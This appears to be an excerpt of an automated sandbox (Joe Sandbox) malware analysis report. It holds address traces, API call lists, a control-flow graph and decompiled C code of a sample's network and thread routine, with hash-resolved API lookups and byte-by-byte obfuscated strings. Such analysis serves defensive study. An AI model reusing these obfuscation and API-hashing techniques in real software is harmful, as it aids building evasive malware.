    0x00f2d700
    0x00f2d705
    0x00f2d70b
    0x00f2d70b
    0x00f2d71e
    0x00f2d720
    0x00f2d723
    0x00f2d728
    0x00f2d72d
    0x00f2d738
    0x00f2d73d
    0x00f2d743
    0x00f2d743
    0x00f2d746
    0x00f2d751
    0x00f2e44d
    0x00f2e44d
    0x00f2e452
    0x00f2e455
    0x00f2e45a
    0x00f2e465
    0x00f2e46a
    0x00f2e470
    0x00f2e470
    0x00f2e476
    0x00f2e477
    0x00f2e47c
    0x00f2e4a6
    0x00f2e4a6
    0x00f2e4ab
    0x00f2e4b0
    0x00f2e4bb
    0x00f2e4c0
    0x00f2e4c6
    0x00f2e4c6
    0x00f2e4c9
    0x00f2e4cb
    0x00f2e4d2
    0x00f2e4d9
    0x00f2e4e0
    0x00f2e4e7
    0x00f2e4ee
    0x00f2e4f5
    0x00f2e4fc
    0x00f2e503
    0x00f2e50a
    0x00f2e511
    0x00f2e518
    0x00f2e51f
    0x00f2e526
    0x00f2e52d
    0x00f2e534
    0x00f2e53b
    0x00f2e542
    0x00f2e549
    0x00f2e550
    0x00f2e557
    0x00f2e55e
    0x00f2e565
    0x00f2e56c
    0x00f2e573
    0x00f2e57a
    0x00f2e581
    0x00f2e588
    0x00f2e58f
    0x00f2e596
    0x00f2e59d
    0x00f2e5a4
    0x00f2e5ab
    0x00f2e5b2
    0x00f2e5b9
    0x00f2e5c0
    0x00f2e5c7
    0x00f2e5ce
    0x00f2e5d5
    0x00f2e5dc
    0x00f2e5e3
    0x00f2e5ea
    0x00f2e5f1
    0x00f2e5f8
    0x00f2e5ff
    0x00f2e606
    0x00f2e60d
    0x00f2e614
    0x00f2e61b
    0x00f2e622
    0x00f2e629
    0x00f2e630
    0x00f2e637
    0x00f2e63e
    0x00f2e645
    0x00f2e64c
    0x00f2e653
    0x00f2e65a
    0x00f2e661
    0x00f2e668
    0x00f2e66f
    0x00f2e676
    0x00f2e67d
    0x00f2e684
    0x00f2e68b
    0x00f2e692
    0x00f2e699
    0x00f2e6a0
    0x00f2e6a7
    0x00f2e6ae
    0x00f2e6b5
    0x00f2e6bc
    0x00f2e6c3
    0x00f2e6ca
    0x00f2e6d1
    0x00f2e6d8
    0x00f2e6df
    0x00f2e6e6
    0x00f2e6ed
    0x00f2e6f0
    0x00f2e6f7
    0x00f2e6fe
    0x00f2e705
    0x00f2e70c
    0x00f2e713
    0x00f2e71a
    0x00f2e721
    0x00f2e728
    0x00f2e73c
    0x00f2e73e
    0x00f2e740
    0x00f2e756
    0x00f2e75c
    0x00f2e75f
    0x00f2e766
    0x00f2e767
    0x00f2e740
    0x00f2e778
    0x00f2e783
    0x00f2e79b
    0x00f2e47e
    0x00f2e47e
    0x00f2e483
    0x00f2e488
    0x00000000
    0x00f2e48a
    0x00f2e48a
    0x00f2e492
    0x00f2e4a5
    0x00f2e4a5
    0x00f2e488
    0x00f2d757
    0x00f2d75a
    0x00f2d9c1
    0x00f2d9c8
    0x00f2d9cf
    0x00f2d9d6
    0x00f2d9dd
    0x00f2d9e4
    0x00f2d9eb
    0x00f2d9f2
    0x00f2d9f9
    0x00f2da00
    0x00f2da07
    0x00f2da0e
    0x00f2da15
    0x00f2da1c
    0x00f2da23
    0x00f2da2a
    0x00f2da31
    0x00f2da38
    0x00f2da3f
    0x00f2da46
    0x00f2da4d
    0x00f2da54
    0x00f2da5b
    0x00f2da62
    0x00f2da69
    0x00f2da70
    0x00f2da77
    0x00f2da7e
    0x00f2da85
    0x00f2da8c
    0x00f2da93
    0x00f2da9a
    0x00f2daa1
    0x00f2daa8
    0x00f2daaf
    0x00f2dab6
    0x00f2dabd
    0x00f2dac4
    0x00f2dacb
    0x00f2dad2
    0x00f2dad9
    0x00f2dae0
    0x00f2dae7
    0x00f2daee
    0x00f2daf5
    0x00f2dafc
    0x00f2db03
    0x00f2db0a
    0x00f2db11
    0x00f2db18
    0x00f2db1f
    0x00f2db26
    0x00f2db2d
    0x00f2db34
    0x00f2db3b
    0x00f2db42
    0x00f2db49
    0x00f2db50
    0x00f2db57
    0x00f2db5e
    0x00f2db65
    0x00f2db6c
    0x00f2db73
    0x00f2db7a
    0x00f2db81
    0x00f2db88
    0x00f2db8f
    0x00f2db96
    0x00f2db9d
    0x00f2dba4
    0x00f2dbab
    0x00f2dbb2
    0x00f2dbb9
    0x00f2dbc0
    0x00f2dbc7
    0x00f2dbce
    0x00f2dbd5
    0x00f2dbdc
    0x00f2dbe3
    0x00f2dbea
    0x00f2dbf1
    0x00f2dbf8
    0x00f2dc05
    0x00f2dc0c
    0x00f2dc13
    0x00f2dc1a
    0x00f2dc21
    0x00f2dc28
    0x00f2dc2f
    0x00f2dc44
    0x00f2dc4b
    0x00f2dc4e
    0x00f2dc55
    0x00f2e0c1
    0x00f2e0c6
    0x00f2e0cb
    0x00f2e0d6
    0x00f2e0db
    0x00f2e0e1
    0x00f2e0e1
    0x00f2e0e4
    0x00f2e0e6
    0x00f2e0ed
    0x00f2e0ef
    0x00f2e0f6
    0x00f2e0fd
    0x00f2e104
    0x00f2e10b
    0x00f2e112
    0x00f2e119
    0x00f2e120
    0x00f2e127
    0x00f2e12e
    0x00f2e135
    0x00f2e13c
    0x00f2e143
    0x00f2e14a
    0x00f2e151
    0x00f2e158
    0x00f2e15f
    0x00f2e166
    0x00f2e16d
    0x00f2e174
    0x00f2e17b
    0x00f2e182
    0x00f2e189
    0x00f2e190
    0x00f2e197
    0x00f2e19e
    0x00f2e1a5
    0x00f2e1ac
    0x00f2e1b3
    0x00f2e1ba
    0x00f2e1c1
    0x00f2e1c8
    0x00f2e1cf
    0x00f2e1d6
    0x00f2e1dd
    0x00f2e1e4
    0x00f2e1eb
    0x00f2e1f2
    0x00f2e1f9
    0x00f2e200
    0x00f2e207
    0x00f2e20e
    0x00f2e215
    0x00f2e21c
    0x00f2e223
    0x00f2e22a
    0x00f2e231
    0x00f2e238
    0x00f2e23f
    0x00f2e246
    0x00f2e24d
    0x00f2e254
    0x00f2e25b
    0x00f2e262
    0x00f2e269
    0x00f2e270
    0x00f2e277
    0x00f2e27e
    0x00f2e285
    0x00f2e28c
    0x00f2e293
    0x00f2e29a
    0x00f2e2a1
    0x00f2e2a8
    0x00f2e2af
    0x00f2e2b6
    0x00f2e2bd
    0x00f2e2c4
    0x00f2e2cb
    0x00f2e2d2
    0x00f2e2d9
    0x00f2e2e0
    0x00f2e2e7
    0x00f2e2ee
    0x00f2e2f5
    0x00f2e2fc
    0x00f2e303
    0x00f2e30a
    0x00f2e311
    0x00f2e318
    0x00f2e31f
    0x00f2e326
    0x00f2e32d
    0x00f2e334
    0x00f2e33b
    0x00f2e342
    0x00f2e349
    0x00f2e350
    0x00f2e357
    0x00f2e35e
    0x00f2e365
    0x00f2e36c
    0x00f2e373
    0x00f2e37a
    0x00f2e381
    0x00f2e388
    0x00f2e38f
    0x00f2e396
    0x00f2e39d
    0x00f2e3a4
    0x00f2e3ab
    0x00f2e3b2
    0x00f2e3b9
    0x00f2e3c0
    0x00f2e3c7
    0x00f2e3ce
    0x00f2e3d5
    0x00f2e3dc
    0x00f2e3e3
    0x00f2e3ea
    0x00f2e3fe
    0x00f2e400
    0x00f2e402
    0x00f2e412
    0x00f2e418
    0x00f2e41b
    0x00f2e422
    0x00f2e423
    0x00f2e402
    0x00f2e432
    0x00f2e44c
    0x00f2dc5b
    0x00f2dc5b
    0x00f2dc5f
    0x00f2dc63
    0x00f2dc67
    0x00f2dc6b
    0x00f2dc6f
    0x00f2dc73
    0x00f2dc77
    0x00f2dc7b
    0x00f2dc7f
    0x00f2dc83
    0x00f2dc87
    0x00f2dc8b
    0x00f2dc8f
    0x00f2dc93
    0x00f2dc97
    0x00f2dc9b
    0x00f2dc9f
    0x00f2dca3
    0x00f2dca7
    0x00f2dcab
    0x00f2dcaf
    0x00f2dcb3
    0x00f2dcb7
    0x00f2dcbb
    0x00f2dcbf
    0x00f2dcc3
    0x00f2dcc7
    0x00f2dccb
    0x00f2dccf
    0x00f2dcd3
    0x00f2dcd7
    0x00f2dcdb
    0x00f2dcdf
    0x00f2dce3
    0x00f2dce7
    0x00f2dceb
    0x00f2dcef
    0x00f2dcf3
    0x00f2dcf7
    0x00f2dcfb
    0x00f2dcff
    0x00f2dd03
    0x00f2dd07
    0x00f2dd0b
    0x00f2dd0f
    0x00f2dd13
    0x00f2dd17
    0x00f2dd1b
    0x00f2dd1f
    0x00f2dd23
    0x00f2dd27
    0x00f2dd2b
    0x00f2dd2f
    0x00f2dd33
    0x00f2dd37
    0x00f2dd3b
    0x00f2dd3f
    0x00f2dd43
    0x00f2dd47
    0x00f2dd4b
    0x00f2dd4f
    0x00f2dd53
    0x00f2dd57
    0x00f2dd5b
    0x00f2dd5f
    0x00f2dd63
    0x00f2dd67
    0x00f2dd6b
    0x00f2dd6f
    0x00f2dd73
    0x00f2dd77
    0x00f2dd7b
    0x00f2dd86
    0x00f2dd88
    0x00f2dd8a
    0x00f2dd90
    0x00f2dda1
    0x00f2dda7
    0x00f2ddaa
    0x00f2ddae
    0x00f2ddaf
    0x00f2dd90
    0x00f2ddba
    0x00f2ddbf
    0x00f2ddc4
    0x00f2ddc7
    0x00f2ddc9
    0x00f2ddce
    0x00f2ddd9
    0x00f2ddde
    0x00f2dde4
    0x00f2dde4
    0x00f2ddf7
    0x00f2ddf9
    0x00f2ddff
    0x00000000
    0x00f2de05
    0x00f2de05
    0x00f2de0a
    0x00f2de0f
    0x00f2de1a
    0x00f2de1f
    0x00f2de25
    0x00f2de25
    0x00f2de28
    0x00f2de2a
    0x00f2de31
    0x00f2de38
    0x00f2de3f
    0x00f2de46
    0x00f2de4d
    0x00f2de54
    0x00f2de5b
    0x00f2de62
    0x00f2de69
    0x00f2de70
    0x00f2de77
    0x00f2de7e
    0x00f2de85
    0x00f2de8c
    0x00f2de93
    0x00f2de9a
    0x00f2dea1
    0x00f2dea8
    0x00f2deaf
    0x00f2deb6
    0x00f2debd
    0x00f2dec4
    0x00f2decb
    0x00f2ded2
    0x00f2ded9
    0x00f2dee0
    0x00f2dee7
    0x00f2deee
    0x00f2def5
    0x00f2defc
    0x00f2df03
    0x00f2df0a
    0x00f2df11
    0x00f2df18
    0x00f2df1f
    0x00f2df26
    0x00f2df2d
    0x00f2df34
    0x00f2df3b
    0x00f2df42
    0x00f2df49
    0x00f2df50
    0x00f2df57
    0x00f2df5e
    0x00f2df65
    0x00f2df6c
    0x00f2df73
    0x00f2df7a
    0x00f2df81
    0x00f2df88
    0x00f2df8f
    0x00f2df96
    0x00f2df9d
    0x00f2dfa4
    0x00f2dfab
    0x00f2dfb2
    0x00f2dfb9
    0x00f2dfc0
    0x00f2dfc7
    0x00f2dfce
    0x00f2dfd5
    0x00f2dfdc
    0x00f2dfe3
    0x00f2dfea
    0x00f2dff1
    0x00f2dff8
    0x00f2dfff
    0x00f2e006
    0x00f2e00d
    0x00f2e014
    0x00f2e01b
    0x00f2e022
    0x00f2e029
    0x00f2e030
    0x00f2e037
    0x00f2e03e
    0x00f2e045
    0x00f2e04c
    0x00f2e04f
    0x00f2e063
    0x00f2e065
    0x00f2e067
    0x00f2e070
    0x00f2e084
    0x00f2e08a
    0x00f2e08d
    0x00f2e094
    0x00f2e095
    0x00f2e070
    0x00f2e0a6
    0x00f2e0c0
    0x00f2e0c0
    0x00f2ddff
    0x00f2d769
    0x00f2d769
    0x00f2d76e
    0x00f2d773
    0x00f2d77e
    0x00f2d783
    0x00f2d789
    0x00f2d789
    0x00f2d78c
    0x00f2d78e
    0x00f2d795
    0x00f2d79c
    0x00f2d7a3
    0x00f2d7aa
    0x00f2d7b1
    0x00f2d7b8
    0x00f2d7bf
    0x00f2d7c6
    0x00f2d7cd
    0x00f2d7d4
    0x00f2d7db
    0x00f2d7e2
    0x00f2d7e9
    0x00f2d7f0
    0x00f2d7f7
    0x00f2d7fe
    0x00f2d805
    0x00f2d80c
    0x00f2d813
    0x00f2d81a
    0x00f2d821
    0x00f2d828
    0x00f2d82f
    0x00f2d836
    0x00f2d83d
    0x00f2d844
    0x00f2d84b
    0x00f2d852
    0x00f2d859
    0x00f2d860
    0x00f2d867
    0x00f2d86e
    0x00f2d875
    0x00f2d87c
    0x00f2d883
    0x00f2d88a
    0x00f2d891
    0x00f2d898
    0x00f2d89f
    0x00f2d8a6
    0x00f2d8ad
    0x00f2d8b4
    0x00f2d8bb
    0x00f2d8c2
    0x00f2d8c9
    0x00f2d8d0
    0x00f2d8d7
    0x00f2d8de
    0x00f2d8e2
    0x00f2d8e6
    0x00f2d8ea
    0x00f2d8ee
    0x00f2d8f2
    0x00f2d8f6
    0x00f2d8fa
    0x00f2d8fe
    0x00f2d902
    0x00f2d906
    0x00f2d90a
    0x00f2d90e
    0x00f2d912
    0x00f2d916
    0x00f2d91a
    0x00f2d91e
    0x00f2d922
    0x00f2d926
    0x00f2d92a
    0x00f2d92e
    0x00f2d932
    0x00f2d936
    0x00f2d93a
    0x00f2d93e
    0x00f2d942
    0x00f2d946
    0x00f2d94a
    0x00f2d94e
    0x00f2d952
    0x00f2d956
    0x00f2d959
    0x00f2d96a
    0x00f2d96c
    0x00f2d970
    0x00f2d984
    0x00f2d98a
    0x00f2d98d
    0x00f2d994
    0x00f2d995
    0x00f2d970
    0x00f2d9a6
    0x00f2d9c0
    0x00f2d9c0
    0x00f2d75a

    APIs
    • GetFileAttributesW.KERNELBASE(?,?,FFFFFFFF,?), ref: 00F2D6AE
    • SetFileAttributesW.KERNELBASE(?,00000000), ref: 00F2D6E7
    • CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000003,00000000,00000000), ref: 00F2D71E
      • Part of subcall function 00F222A0: LoadLibraryA.KERNELBASE(00000000,00000000,?), ref: 00F226F0
    • FindCloseChangeNotification.KERNELBASE(?), ref: 00F2E783
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: File$Attributes$ChangeCloseCreateFindLibraryLoadNotification
    • String ID: !$!$"$"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&$&$)$)$,$,$,$-$.$.$.$/$4$4$4$6$6$6$7$7$7$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$>$?$?$B$G$G$G$G$G$G$H$H$I$M$N$N$N$O$O$P$P$P$R$S$S$U$U$U$U$U$U$U$U$X$X$Z$Z$^$^$^$_$_$a$a$a$a$a$b$d$e$e$e$f$f$h$h$i$i$i$j$j$j$j$j$l$l$l$l$l$l$m$m$o$p$q$q$r$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$t$w$y$z$|$|$|$|$|$|oCoIo;o0o:oWo0oCoWo0o3oIoUo;o3o9oco0oOoQo;oMo0o5oco0o3oMoOoYoAo;oUo0oQoUoOo?oUo3oKoLooo$}$}$~
    • API String ID: 289710734-4170696079
    • Opcode ID: f2e5817643954bef99c819924298a5f8c5c7d8d7a76174c273feb84a660023aa
    • Instruction ID: c6fb241cfb8a179525fa031a5b78c76bef1cafd8689cf56765921d2167380657
    • Opcode Fuzzy Hash: f2e5817643954bef99c819924298a5f8c5c7d8d7a76174c273feb84a660023aa
    • Instruction Fuzzy Hash: C1B29E20D0C2D9C9FB22C768DC587DDBFA15B62348F4440D9C5886B283C7FA4B99DB66
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F338B0 Relevance: 277.0, APIs: 2, Strings: 156, Instructions: 483threadnetworkCOMMONCrypto
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 343 f338b0-f338dd 344 f338f9-f33914 WSAStartup 343->344 345 f338df-f338f3 call f222a0 343->345 347 f33916-f33929 call f222a0 344->347 348 f3392f-f3393d call f31c70 344->348 345->344 347->348 355 f33943-f33a89 call f34490 call f2fdd0 348->355 356 f33a8e-f33aa0 call f31bd0 348->356 366 f34219-f34226 355->366 362 f33aa2-f33ab5 call f222a0 356->362 363 f33abb-f33acc 356->363 362->363 369 f33ad2-f33cc0 call f34430 call f2fdd0 363->369 370 f33cc5-f33d01 call f31d80 363->370 371 f34242-f34251 366->371 372 f34228-f3423c call f222a0 366->372 369->366 381 f33d07-f33e31 call f343d0 call f2fdd0 370->381 382 f33e36-f33e40 370->382 383 f34253-f3425d 371->383 384 f34279-f3427b 371->384 372->371 381->366 389 f33e42-f33e55 call f222a0 382->389 390 f33e58-f33e6e CreateThread 382->390 391 f34276 383->391 392 f3425f-f34273 call f222a0 383->392 386 f342a3-f342a5 384->386 387 f3427d-f34287 384->387 399 f342a7-f342b1 386->399 400 f342cd-f342da 386->400 396 f342a0 387->396 397 f34289-f3429d call f222a0 387->397 389->390 394 f34006-f34010 call f301a0 390->394 395 f33e74-f34001 call f34370 call f2fdd0 390->395 391->384 392->391 415 f34015-f3401a 394->415 395->366 396->386 397->396 410 f342b3-f342c7 call f222a0 399->410 411 f342ca 399->411 405 f342f7 400->405 406 f342dc-f342f1 call f222a0 400->406 420 f342f9-f34309 call f37a82 405->420 406->405 410->411 411->400 421 f34020-f341f3 call f34310 call f2fdd0 415->421 422 f341f5-f34214 call f31b80 call f23ee0 call f32da0 call f23ee0 415->422 421->366 422->366
    C-Code - Quality: 58%
    			E00F338B0(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				char _v412;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v441;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v465;
				char _v466;
				char _v467;
				char _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v481;
				char _v482;
				char _v483;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v489;
				char _v490;
				char _v491;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v500;
				char _v501;
				char _v502;
				char _v503;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v513;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				char _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char _v541;
				char _v542;
				char _v543;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v561;
				char _v562;
				char _v563;
				char _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v613;
				char _v614;
				char _v615;
				char _v616;
				char _v626;
				char _v627;
				char _v628;
				char _v629;
				char _v630;
				char _v631;
				char _v632;
				char _v633;
				char _v634;
				char _v635;
				char _v636;
				char _v637;
				char _v638;
				char _v639;
				char _v640;
				char _v641;
				char _v642;
				char _v643;
				char _v644;
				char _v645;
				char _v646;
				char _v647;
				char _v648;
				char _v649;
				char _v650;
				char _v651;
				char _v652;
				char _v653;
				char _v654;
				char _v655;
				char _v656;
				char _v657;
				char _v658;
				char _v659;
				char _v660;
				char _v661;
				char _v662;
				char _v663;
				char _v664;
				char _v665;
				char _v666;
				char _v667;
				char _v668;
				char _v669;
				char _v670;
				char _v671;
				char _v672;
				char _v673;
				char _v674;
				char _v675;
				char _v676;
				char _v677;
				char _v678;
				char _v679;
				char _v680;
				char _v681;
				char _v682;
				char _v683;
				char _v684;
				char _v685;
				char _v686;
				char _v687;
				char _v688;
				char _v689;
				char _v690;
				char _v691;
				char _v692;
				signed int _t299;
				intOrPtr _t301;
				intOrPtr _t304;
				char _t306;
				intOrPtr _t308;
				char _t309;
				char _t310;
				intOrPtr _t311;
				void* _t312;
				signed int _t313;
				intOrPtr _t318;
				intOrPtr* _t319;
				intOrPtr _t321;
				intOrPtr* _t322;
				intOrPtr _t325;
				intOrPtr* _t326;
				intOrPtr _t328;
				intOrPtr* _t329;
				intOrPtr _t331;
				intOrPtr* _t332;
				intOrPtr _t341;
				intOrPtr _t349;
				intOrPtr _t354;
				intOrPtr _t356;
				intOrPtr _t358;
				intOrPtr* _t359;
				intOrPtr* _t360;
				intOrPtr* _t361;
				intOrPtr _t363;
				intOrPtr _t370;
				intOrPtr _t372;
				intOrPtr _t374;
				intOrPtr _t376;
				intOrPtr _t378;
				void* _t393;
				signed int _t395;
				signed int _t396;

				_t357 = __ebx;
				_t299 =  *0xf4a004; // 0x355216d4
				_v8 = _t299 ^ _t396;
				_t301 =  *0xf4c2ec; // 0xddcc10
				_t359 =  *((intOrPtr*)(_t301 + 0x158));
				_t395 = 0;
				_t393 = 0;
				 *0xf4c370 = 0;
				if(_t359 == 0) {
					_t3 = _t393 + 6; // 0x6
					_t384 = _t3;
					_t359 = E00F222A0(__ebx, _t359, _t3, 0, 0, 0xaf724aac);
					_t356 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t356 + 0x158)) = _t359;
				}
				 *_t359(0x202,  &_v412);
				_t304 =  *0xf4c2ec; // 0xddcc10
				_t360 =  *((intOrPtr*)(_t304 + 0x90));
				if(_t360 == 0) {
					_t384 = 0;
					_t360 = E00F222A0(_t357, _t360, 0, _t393, _t395, 0x5d48fbaf);
					_t354 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t354 + 0x90)) = _t360;
				}
				 *_t360(0xf4c348); // executed
				_t306 = E00F31C70(_t357, _t393, _t395); // executed
				if(_t306 != 0) {
					E00F31BD0(_t357, _t393, _t395);
					_t308 =  *0xf4c2ec; // 0xddcc10
					_t361 =  *((intOrPtr*)(_t308 + 0xb0));
					if(_t361 == 0) {
						_t384 = 0;
						_t361 = E00F222A0(_t357, _t361, 0, _t393, _t395, 0x57b499e3);
						_t349 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t349 + 0xb0)) = _t361;
					}
					_t309 =  *_t361(0xffffffff, 0, 0, 0);
					 *0xf4c300 = _t309;
					if(_t309 != 0) {
						 *0xf4c360 = _t395;
						 *0xf4c364 = 0xf4c360;
						 *0xf4c368 = _t395;
						 *0xf4c36c = 0xf4c368;
						 *0xf4c340 = _t395;
						 *0xf4c344 = 0xf4c340; // executed
						_t310 = E00F31D80(_t357, 0xf4c360, _t393, _t395); // executed
						if(_t310 != 0) {
							_t311 =  *0xf4c2ec; // 0xddcc10
							_t363 =  *((intOrPtr*)(_t311 + 0x6c));
							if(_t363 == 0) {
								_t384 = 0;
								_t363 = E00F222A0(_t357, _t363, 0, _t393, _t395, 0x3a4532be);
								_t341 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t341 + 0x6c)) = _t363;
							}
							_t312 = CreateThread(0, 0, E00F32A30, 0, 0, 0); // executed
							_t393 = _t312;
							if(_t393 != 0xffffffff) {
								_t313 = E00F301A0(E00F333A0, 0); // executed
								_t395 = _t313;
								if(_t395 != 0xffffffff) {
									_push(_t363);
									E00F31B80(_t363, 1);
									E00F23EE0(_t395, _t384 | 0xffffffff);
									E00F32DA0(_t357, _t395 | 0xffffffff, _t393, _t395);
									E00F23EE0(_t393, _t384 | 0xffffffffffffffff);
								} else {
									_v616 = 0;
									_v615 = 0x45;
									_v614 = 0x49;
									_v613 = 0x47;
									_v612 = 0x49;
									_v611 = 0x26;
									_v610 = 0x49;
									_v609 = 0x65;
									_v608 = 0x49;
									_v607 = 0xd;
									_v606 = 0x49;
									_v605 = 0x6d;
									_v604 = 0x49;
									_v603 = 0x69;
									_v602 = 0x49;
									_v601 = 0x6a;
									_v600 = 0x49;
									_v599 = 0xc;
									_v598 = 0x49;
									_v597 = 0x47;
									_v596 = 0x49;
									_v595 = 0xd;
									_v594 = 0x49;
									_v593 = 0xc;
									_v592 = 0x49;
									_v591 = 0x6d;
									_v590 = 0x49;
									_v589 = 0x48;
									_v588 = 0x49;
									_v587 = 0x37;
									_v586 = 0x49;
									_v585 = 0x6a;
									_v584 = 0x49;
									_v583 = 0xd;
									_v582 = 0x49;
									_v581 = 0x6d;
									_v580 = 0x49;
									_v579 = 0x7b;
									_v578 = 0x49;
									_v577 = 0x69;
									_v576 = 0x49;
									_v575 = 0x47;
									_v574 = 0x49;
									_v573 = 0x26;
									_v572 = 0x49;
									_v571 = 0x6d;
									_v570 = 0x49;
									_v569 = 0xd;
									_v568 = 0x49;
									_v567 = 0x3f;
									_v566 = 0x49;
									_v565 = 0x6a;
									_v564 = 0x49;
									_v563 = 0xc;
									_v562 = 0x49;
									_v561 = 0x47;
									_v560 = 0x49;
									_v559 = 0x7a;
									_v558 = 0x49;
									_v557 = 0x5d;
									_v556 = 0x49;
									_v555 = 0x49;
									_v554 = 0x49;
									_push(E00F34310( &_v616));
									E00F2FDD0(_t357, _t393, _t395);
								}
							} else {
								_v552 = 0;
								_v551 = 0x7b;
								_v550 = 0x78;
								_v549 = 0x3a;
								_v548 = 0x78;
								_v547 = 0x33;
								_v546 = 0x78;
								_v545 = 0x63;
								_v544 = 0x78;
								_v543 = 0x26;
								_v542 = 0x78;
								_v541 = 0x5d;
								_v540 = 0x78;
								_v539 = 0x60;
								_v538 = 0x78;
								_v537 = 0;
								_v536 = 0x78;
								_v535 = 7;
								_v534 = 0x78;
								_v533 = 0x3a;
								_v532 = 0x78;
								_v531 = 0x26;
								_v530 = 0x78;
								_v529 = 7;
								_v528 = 0x78;
								_v527 = 0x5d;
								_v526 = 0x78;
								_v525 = 0x40;
								_v524 = 0x78;
								_v523 = 0x46;
								_v522 = 0x78;
								_v521 = 0x13;
								_v520 = 0x78;
								_v519 = 0x26;
								_v518 = 0x78;
								_v517 = 0x5d;
								_v516 = 0x78;
								_v515 = 0x26;
								_v514 = 0x78;
								_v513 = 0x40;
								_v512 = 0x78;
								_v511 = 0;
								_v510 = 0x78;
								_v509 = 7;
								_v508 = 0x78;
								_v507 = 0x3a;
								_v506 = 0x78;
								_v505 = 0x73;
								_v504 = 0x78;
								_v503 = 0x69;
								_v502 = 0x78;
								_v501 = 0x78;
								_v500 = 0x78;
								_push(E00F34370( &_v552));
								E00F2FDD0(_t357, _t393, _t395);
							}
						} else {
							_v452 = _t310;
							_v451 = 0x4c;
							_v450 = 0x45;
							_v449 = 9;
							_v448 = 0x45;
							_v447 = 0x23;
							_v446 = 0x45;
							_v445 = 0x14;
							_v444 = 0x45;
							_v443 = 0x2f;
							_v442 = 0x45;
							_v441 = 6;
							_v440 = 0x45;
							_v439 = 0x15;
							_v438 = 0x45;
							_v437 = 0x11;
							_v436 = 0x45;
							_v435 = 0x2f;
							_v434 = 0x45;
							_v433 = 6;
							_v432 = 0x45;
							_v431 = 0x2d;
							_v430 = 0x45;
							_v429 = 0x31;
							_v428 = 0x45;
							_v427 = 0xb;
							_v426 = 0x45;
							_v425 = 0x23;
							_v424 = 0x45;
							_v423 = 0x11;
							_v422 = 0x45;
							_v421 = 0x2f;
							_v420 = 0x45;
							_v419 = 0x2d;
							_v418 = 0x45;
							_v417 = 0x22;
							_v416 = 0x45;
							_v415 = 0x45;
							_v414 = 0x45;
							_push(E00F343D0( &_v452));
							E00F2FDD0(_t357, _t393, _t395);
						}
					} else {
						_v692 = _t309;
						_v691 = 0x5a;
						_v690 = 4;
						_v689 = 0x2f;
						_v688 = 4;
						_v687 = 0x3a;
						_v686 = 4;
						_v685 = 0x25;
						_v684 = 4;
						_v683 = 0x18;
						_v682 = 4;
						_v681 = 0x77;
						_v680 = 4;
						_v679 = 0x4e;
